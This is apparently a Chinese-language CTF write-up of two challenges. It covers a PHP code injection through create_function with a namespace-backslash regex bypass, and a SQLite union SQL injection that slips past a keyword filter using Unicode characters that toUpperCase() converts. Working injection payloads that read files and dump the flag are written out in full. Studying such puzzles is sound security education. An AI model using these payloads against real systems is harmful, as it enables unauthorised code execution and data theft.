Code

function

审计代码:

1
2
3
4
5
6
7
8
9
 <?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

??是PHP7版本的新特性,它与?:的区别在哪里呢

??

$b = $a?? $c ;相当于$b= isset($a)?$a:$c;

?:

$b = $a?$a: $c 则是 $b = !empty($a) ? $a:$c;

所以要绕过正则表达式以得到命令执行
这里可以利用create_function

PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

create_function用法

create_function ( string $args , string $code ) : string

args
The function arguments.
code
The function code.

返回值

Returns a unique function name as a string, or FALSE on error.

我们可以利用绕过,也就是%5c,payload:
action=%5ccreate_function&arg=;}phpinfo();//

可以成功的原因是:

在名称前加上前缀 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此

例子:

1
2
3
4
5
6
7
8
9
10
<?php
namespace ABC;

/* 这个函数是 ABCfopen */
function fopen() {
/* ... */
$f = fopen(...); // 调用全局的fopen函数
return $f;
}
?>

因为禁用了系统命令函数,所以可以利用scandir(),获取目录下文档:arg=;}print_r (scandir("/var/www/"));//

结果:

所以可以得到flag:arg=;}readfile("/var/www/flag_h0w2execute_arb1trary_c0de");//或者arg=;}echo(file_get_contents("/var/www/flag_h0w2execute_arb1trary_c0de"));//

nodechr

/source查看源码,一个基于koa框架的site,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|--)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

因为sql是基于sqlite,所以#用不了,要绕过unionselect的限制,这时注意到toUpperCase(),他将输入的字符串转化为大写,但是js有一个一直未解决的问题就是对于Unicode字符的处理,这里有一篇文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

谈到了"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。,所以可以构造:

1
2
username:0
password:0' unıon ſelect 1,flag,3 from flags where '1'='1

reference:
https://www.jianshu.com/p/748749d38fb8
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/